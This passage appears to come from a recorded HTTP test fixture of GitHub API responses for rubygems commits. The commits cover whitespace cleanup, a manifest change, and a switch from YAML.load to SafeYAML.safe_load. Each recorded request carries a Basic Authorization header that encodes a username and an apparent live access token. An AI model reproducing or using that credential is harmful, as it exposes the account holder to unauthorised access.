end\n+end"},{"sha":"a9058baf102389e9bed011ba8bc28d1fa43cdddc","filename":"lib/rubygems/specification.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/510b1638ac9bba3ceb7a5d73135dafff9e5bab49/lib/rubygems/specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/510b1638ac9bba3ceb7a5d73135dafff9e5bab49/lib/rubygems/specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification.rb?ref=510b1638ac9bba3ceb7a5d73135dafff9e5bab49","patch":"@@ -1101,7 +1101,7 @@ def self.from_yaml(input)\n Gem.load_yaml\n \n input = normalize_yaml_input input\n- spec = YAML.load input\n+ spec = Gem::SafeYAML.safe_load input\n \n if spec && spec.class == FalseClass then\n raise Gem::EndOfYAMLException"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:06 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/be899d52b86f677fccd88bac4a45ef5afaf9f00e body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:06 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4442' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"8401b5f5639b79c08aebb4be1bed10d5" Last-Modified: - Tue, 10 Oct 2017 01:14:43 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.038356' X-Github-Request-Id: - C58A:4D95:F48357:1C84200:5A50E476 body: encoding: ASCII-8BIT string: '{"sha":"be899d52b86f677fccd88bac4a45ef5afaf9f00e","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-10T01:14:43Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-10T01:14:43Z"},"message":"Auto merge of #2033 - hsbt:remove-trailing-whitespace, r=hsbt\n\nRemove trailing-whitespaces and append newline at EOF.","tree":{"sha":"19fa7eaa66f37c9c159b4de7a46ece22c3b0e2c3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/19fa7eaa66f37c9c159b4de7a46ece22c3b0e2c3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/be899d52b86f677fccd88bac4a45ef5afaf9f00e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/be899d52b86f677fccd88bac4a45ef5afaf9f00e","html_url":"https://github.com/rubygems/rubygems/commit/be899d52b86f677fccd88bac4a45ef5afaf9f00e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/be899d52b86f677fccd88bac4a45ef5afaf9f00e/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"bdadcaf3f638bbe0959a05bb9b047354243e13f6","url":"https://api.github.com/repos/rubygems/rubygems/commits/bdadcaf3f638bbe0959a05bb9b047354243e13f6","html_url":"https://github.com/rubygems/rubygems/commit/bdadcaf3f638bbe0959a05bb9b047354243e13f6"},{"sha":"42b586286e604cec54e65d2661c898275eb96d74","url":"https://api.github.com/repos/rubygems/rubygems/commits/42b586286e604cec54e65d2661c898275eb96d74","html_url":"https://github.com/rubygems/rubygems/commit/42b586286e604cec54e65d2661c898275eb96d74"}],"stats":{"total":30,"additions":15,"deletions":15},"files":[{"sha":"fafe35bec1cce632f44766b28f496e094ec0f08f","filename":"lib/rubygems/commands/pristine_command.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/be899d52b86f677fccd88bac4a45ef5afaf9f00e/lib/rubygems/commands/pristine_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/be899d52b86f677fccd88bac4a45ef5afaf9f00e/lib/rubygems/commands/pristine_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/pristine_command.rb?ref=be899d52b86f677fccd88bac4a45ef5afaf9f00e","patch":"@@ -157,14 +157,14 @@ def execute\n install_defaults.to_s[''--env-shebang'']\n end\n \n- installer_options = { \n+ installer_options = {\n :wrappers => true,\n :force => true,\n :install_dir => spec.base_dir,\n :env_shebang => env_shebang,\n :build_args => spec.build_args,\n }\n- \n+\n if options[:only_executables] then\n installer = Gem::Installer.for_spec(spec, installer_options)\n installer.generate_bin"},{"sha":"3225a05c6bdd43a097549ff40cccaf80a08297ab","filename":"test/rubygems/test_gem.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/be899d52b86f677fccd88bac4a45ef5afaf9f00e/test/rubygems/test_gem.rb","raw_url":"https://github.com/rubygems/rubygems/raw/be899d52b86f677fccd88bac4a45ef5afaf9f00e/test/rubygems/test_gem.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem.rb?ref=be899d52b86f677fccd88bac4a45ef5afaf9f00e","patch":"@@ -1756,7 +1756,7 @@ def test_use_gemdeps_missing_gem\n else\n platform = \" #{platform}\"\n end\n- expected = if Gem::USE_BUNDLER_FOR_GEMDEPS \n+ expected = if Gem::USE_BUNDLER_FOR_GEMDEPS\n <<-EXPECTED\n Could not find gem ''a#{platform}'' in any of the gem sources listed in your Gemfile.\n You may need to `gem install -g` to install missing gems"},{"sha":"7dafe13033991b6e2aa270bf008161178d229e40","filename":"test/rubygems/test_gem_bundler_version_finder.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/be899d52b86f677fccd88bac4a45ef5afaf9f00e/test/rubygems/test_gem_bundler_version_finder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/be899d52b86f677fccd88bac4a45ef5afaf9f00e/test/rubygems/test_gem_bundler_version_finder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_bundler_version_finder.rb?ref=be899d52b86f677fccd88bac4a45ef5afaf9f00e","patch":"@@ -122,4 +122,4 @@ def util_filter_specs(specs)\n bvf.filter!(specs)\n specs\n end\n-end\n\\ No newline at end of file\n+end"},{"sha":"b41fed86e8dae44d1014cdf9949f023905f1fab9","filename":"test/rubygems/test_gem_commands_signin_command.rb","status":"modified","additions":10,"deletions":10,"changes":20,"blob_url":"https://github.com/rubygems/rubygems/blob/be899d52b86f677fccd88bac4a45ef5afaf9f00e/test/rubygems/test_gem_commands_signin_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/be899d52b86f677fccd88bac4a45ef5afaf9f00e/test/rubygems/test_gem_commands_signin_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_signin_command.rb?ref=be899d52b86f677fccd88bac4a45ef5afaf9f00e","patch":"@@ -7,10 +7,10 @@ class TestGemCommandsSigninCommand < Gem::TestCase\n \n def setup\n super\n- \n+\n Gem.configuration.rubygems_api_key = nil\n Gem.configuration.api_keys.clear\n- \n+\n @cmd = Gem::Commands::SigninCommand.new\n end\n \n@@ -19,7 +19,7 @@ def teardown\n File.delete(credentials_path) if File.exist?(credentials_path)\n super\n end\n- \n+\n def test_execute_when_not_already_signed_in\n sign_in_ui = util_capture() { @cmd.execute }\n assert_match %r{Signed in.}, sign_in_ui.output\n@@ -29,11 +29,11 @@ def test_execute_when_already_signed_in_with_same_host\n host = ''http://some-gemcutter-compatible-host.org''\n sign_in_ui = util_capture(nil, host) { @cmd.execute }\n old_credentials = YAML.load_file Gem.configuration.credentials_path\n- \n+\n sign_in_ui = util_capture(nil, host) { @cmd.execute }\n new_credentials = YAML.load_file Gem.configuration.credentials_path\n- \n- assert_equal old_credentials[host], new_credentials[host] \n+\n+ assert_equal old_credentials[host], new_credentials[host]\n end\n \n def test_execute_when_already_signed_in_with_different_host\n@@ -57,15 +57,15 @@ def test_execute_with_host_supplied\n \n api_key = ''a5fdbb6ba150cbb83aad2bb2fede64cf040453903''\n credentials = YAML.load_file Gem.configuration.credentials_path\n- assert_equal api_key, credentials[host] \n+ assert_equal api_key, credentials[host]\n end\n- \n+\n def test_execute_with_valid_creds_set_for_default_host\n util_capture {@cmd.execute}\n- \n+\n api_key = ''a5fdbb6ba150cbb83aad2bb2fede64cf040453903''\n credentials = YAML.load_file Gem.configuration.credentials_path\n- \n+\n assert_equal api_key, credentials[:rubygems_api_key]\n end\n "},{"sha":"2097ca7d4399bdd74a44b47cc191b0f132ebbb78","filename":"test/rubygems/test_gem_commands_uninstall_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/be899d52b86f677fccd88bac4a45ef5afaf9f00e/test/rubygems/test_gem_commands_uninstall_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/be899d52b86f677fccd88bac4a45ef5afaf9f00e/test/rubygems/test_gem_commands_uninstall_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_uninstall_command.rb?ref=be899d52b86f677fccd88bac4a45ef5afaf9f00e","patch":"@@ -287,7 +287,7 @@ def test_execute_with_gem_not_installed\n end\n \n output = ui.output.split \"\\n\"\n- \n+\n assert_equal output.first, \"Gem ''d'' is not installed\"\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:06 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/42b586286e604cec54e65d2661c898275eb96d74 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:06 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4441' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"cd8db87ea621b59f81e9274efb3dd99f" Last-Modified: - Tue, 10 Oct 2017 00:41:21 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.052318' X-Github-Request-Id: - C58E:4D96:9719C6:13A405A:5A50E476 body: encoding: ASCII-8BIT string: '{"sha":"42b586286e604cec54e65d2661c898275eb96d74","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-10T00:41:21Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-10T00:41:21Z"},"message":"Remove trailing-whitespaces and append newline at EOF.","tree":{"sha":"19fa7eaa66f37c9c159b4de7a46ece22c3b0e2c3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/19fa7eaa66f37c9c159b4de7a46ece22c3b0e2c3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/42b586286e604cec54e65d2661c898275eb96d74","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlncF0sACgkQ+c8TQXJk\n+sJxnQgAnzUjefIQ1P+mdpL6meF1+BgXBehA9u7I/DAsYQS46tH9eG8cqIE0z9SR\nwwfjeJMAoeMix5a+ez1HvRahukkfOZw8mU8TqFpI4hVHSFaQw4UMv8gh0YbISl6i\n98ymnzhpkdgb36LzmaID9MTpuwu55pxiXMxg/Wmcs9Vp0MBOmBDat2FDf3/lAsk4\ndAA6+RrBmdZIVKQAHgRiTLbqRwJpqYBJlo4qGRpjE7qqwSEqoJJ6dLlGFW9ELx1D\nEDfPC4Tz2IyicceRIyg/sYRXoydEtGGJkLCW7hVZqIKElaTMUOlnglb5YXpDm38C\naP9sPH2Gr7TCp9O37N3AWU4kNNhXpA==\n=W3KM\n-----END PGP SIGNATURE-----","payload":"tree 19fa7eaa66f37c9c159b4de7a46ece22c3b0e2c3\nparent bdadcaf3f638bbe0959a05bb9b047354243e13f6\nauthor SHIBATA Hiroshi 1507596081 +0900\ncommitter SHIBATA Hiroshi 1507596081 +0900\n\nRemove trailing-whitespaces and append newline at EOF.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/42b586286e604cec54e65d2661c898275eb96d74","html_url":"https://github.com/rubygems/rubygems/commit/42b586286e604cec54e65d2661c898275eb96d74","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/42b586286e604cec54e65d2661c898275eb96d74/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"bdadcaf3f638bbe0959a05bb9b047354243e13f6","url":"https://api.github.com/repos/rubygems/rubygems/commits/bdadcaf3f638bbe0959a05bb9b047354243e13f6","html_url":"https://github.com/rubygems/rubygems/commit/bdadcaf3f638bbe0959a05bb9b047354243e13f6"}],"stats":{"total":30,"additions":15,"deletions":15},"files":[{"sha":"fafe35bec1cce632f44766b28f496e094ec0f08f","filename":"lib/rubygems/commands/pristine_command.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/42b586286e604cec54e65d2661c898275eb96d74/lib/rubygems/commands/pristine_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/42b586286e604cec54e65d2661c898275eb96d74/lib/rubygems/commands/pristine_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/pristine_command.rb?ref=42b586286e604cec54e65d2661c898275eb96d74","patch":"@@ -157,14 +157,14 @@ def execute\n install_defaults.to_s[''--env-shebang'']\n end\n \n- installer_options = { \n+ installer_options = {\n :wrappers => true,\n :force => true,\n :install_dir => spec.base_dir,\n :env_shebang => env_shebang,\n :build_args => spec.build_args,\n }\n- \n+\n if options[:only_executables] then\n installer = Gem::Installer.for_spec(spec, installer_options)\n installer.generate_bin"},{"sha":"3225a05c6bdd43a097549ff40cccaf80a08297ab","filename":"test/rubygems/test_gem.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/42b586286e604cec54e65d2661c898275eb96d74/test/rubygems/test_gem.rb","raw_url":"https://github.com/rubygems/rubygems/raw/42b586286e604cec54e65d2661c898275eb96d74/test/rubygems/test_gem.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem.rb?ref=42b586286e604cec54e65d2661c898275eb96d74","patch":"@@ -1756,7 +1756,7 @@ def test_use_gemdeps_missing_gem\n else\n platform = \" #{platform}\"\n end\n- expected = if Gem::USE_BUNDLER_FOR_GEMDEPS \n+ expected = if Gem::USE_BUNDLER_FOR_GEMDEPS\n <<-EXPECTED\n Could not find gem ''a#{platform}'' in any of the gem sources listed in your Gemfile.\n You may need to `gem install -g` to install missing gems"},{"sha":"7dafe13033991b6e2aa270bf008161178d229e40","filename":"test/rubygems/test_gem_bundler_version_finder.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/42b586286e604cec54e65d2661c898275eb96d74/test/rubygems/test_gem_bundler_version_finder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/42b586286e604cec54e65d2661c898275eb96d74/test/rubygems/test_gem_bundler_version_finder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_bundler_version_finder.rb?ref=42b586286e604cec54e65d2661c898275eb96d74","patch":"@@ -122,4 +122,4 @@ def util_filter_specs(specs)\n bvf.filter!(specs)\n specs\n end\n-end\n\\ No newline at end of file\n+end"},{"sha":"b41fed86e8dae44d1014cdf9949f023905f1fab9","filename":"test/rubygems/test_gem_commands_signin_command.rb","status":"modified","additions":10,"deletions":10,"changes":20,"blob_url":"https://github.com/rubygems/rubygems/blob/42b586286e604cec54e65d2661c898275eb96d74/test/rubygems/test_gem_commands_signin_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/42b586286e604cec54e65d2661c898275eb96d74/test/rubygems/test_gem_commands_signin_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_signin_command.rb?ref=42b586286e604cec54e65d2661c898275eb96d74","patch":"@@ -7,10 +7,10 @@ class TestGemCommandsSigninCommand < Gem::TestCase\n \n def setup\n super\n- \n+\n Gem.configuration.rubygems_api_key = nil\n Gem.configuration.api_keys.clear\n- \n+\n @cmd = Gem::Commands::SigninCommand.new\n end\n \n@@ -19,7 +19,7 @@ def teardown\n File.delete(credentials_path) if File.exist?(credentials_path)\n super\n end\n- \n+\n def test_execute_when_not_already_signed_in\n sign_in_ui = util_capture() { @cmd.execute }\n assert_match %r{Signed in.}, sign_in_ui.output\n@@ -29,11 +29,11 @@ def test_execute_when_already_signed_in_with_same_host\n host = ''http://some-gemcutter-compatible-host.org''\n sign_in_ui = util_capture(nil, host) { @cmd.execute }\n old_credentials = YAML.load_file Gem.configuration.credentials_path\n- \n+\n sign_in_ui = util_capture(nil, host) { @cmd.execute }\n new_credentials = YAML.load_file Gem.configuration.credentials_path\n- \n- assert_equal old_credentials[host], new_credentials[host] \n+\n+ assert_equal old_credentials[host], new_credentials[host]\n end\n \n def test_execute_when_already_signed_in_with_different_host\n@@ -57,15 +57,15 @@ def test_execute_with_host_supplied\n \n api_key = ''a5fdbb6ba150cbb83aad2bb2fede64cf040453903''\n credentials = YAML.load_file Gem.configuration.credentials_path\n- assert_equal api_key, credentials[host] \n+ assert_equal api_key, credentials[host]\n end\n- \n+\n def test_execute_with_valid_creds_set_for_default_host\n util_capture {@cmd.execute}\n- \n+\n api_key = ''a5fdbb6ba150cbb83aad2bb2fede64cf040453903''\n credentials = YAML.load_file Gem.configuration.credentials_path\n- \n+\n assert_equal api_key, credentials[:rubygems_api_key]\n end\n "},{"sha":"2097ca7d4399bdd74a44b47cc191b0f132ebbb78","filename":"test/rubygems/test_gem_commands_uninstall_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/42b586286e604cec54e65d2661c898275eb96d74/test/rubygems/test_gem_commands_uninstall_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/42b586286e604cec54e65d2661c898275eb96d74/test/rubygems/test_gem_commands_uninstall_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_uninstall_command.rb?ref=42b586286e604cec54e65d2661c898275eb96d74","patch":"@@ -287,7 +287,7 @@ def test_execute_with_gem_not_installed\n end\n \n output = ui.output.split \"\\n\"\n- \n+\n assert_equal output.first, \"Gem ''d'' is not installed\"\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:06 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/bdadcaf3f638bbe0959a05bb9b047354243e13f6 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:06 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4440' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"6020b8f225090eaefcd0fa894da3048f" Last-Modified: - Mon, 09 Oct 2017 00:40:56 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.044866' X-Github-Request-Id: - C590:4D94:4F01D7:B3073E:5A50E476 body: encoding: ASCII-8BIT string: '{"sha":"bdadcaf3f638bbe0959a05bb9b047354243e13f6","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-09T00:40:56Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-09T00:40:56Z"},"message":"Auto merge of #2031 - colby-swandale:manifest-ignore-docs, r=hsbt\n\nDo not index the doc folder in the `update_manifest` task.\n\n# Description:\n\nA small problem I have come across while doing work on RubyGems is when I need to update the Manifest.\n\nWhen running the `rake newb` - the task generates the RubyGems docs which is an entry in `.gitignore` but is not ignored in the `rake update_manifest` task. This means that everyone has to remember to either remove the `doc` folder beforehand or remove the entries in `Manifest.txt`. We should just be ignoring the `doc` folder entirely.\n\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"f27ed41722b65fb8e448e7a68aa33e3cf622dce2","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/f27ed41722b65fb8e448e7a68aa33e3cf622dce2"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/bdadcaf3f638bbe0959a05bb9b047354243e13f6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/bdadcaf3f638bbe0959a05bb9b047354243e13f6","html_url":"https://github.com/rubygems/rubygems/commit/bdadcaf3f638bbe0959a05bb9b047354243e13f6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/bdadcaf3f638bbe0959a05bb9b047354243e13f6/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"688fb7e83c13c3fe7c2bb03c49a2db4c82852aee","url":"https://api.github.com/repos/rubygems/rubygems/commits/688fb7e83c13c3fe7c2bb03c49a2db4c82852aee","html_url":"https://github.com/rubygems/rubygems/commit/688fb7e83c13c3fe7c2bb03c49a2db4c82852aee"},{"sha":"1bfc87ab3dda36665680f32baa98c39058c57707","url":"https://api.github.com/repos/rubygems/rubygems/commits/1bfc87ab3dda36665680f32baa98c39058c57707","html_url":"https://github.com/rubygems/rubygems/commit/1bfc87ab3dda36665680f32baa98c39058c57707"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"0e9547a2ba81db1f54ad21ac0fb9f7c554c61bde","filename":"Rakefile","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/bdadcaf3f638bbe0959a05bb9b047354243e13f6/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/bdadcaf3f638bbe0959a05bb9b047354243e13f6/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=bdadcaf3f638bbe0959a05bb9b047354243e13f6","patch":"@@ -95,7 +95,7 @@ Hoe::Package.instance_method(:install_gem).tap do |existing_install_gem|\n end\n end\n \n-Hoe::DEFAULT_CONFIG[\"exclude\"] = 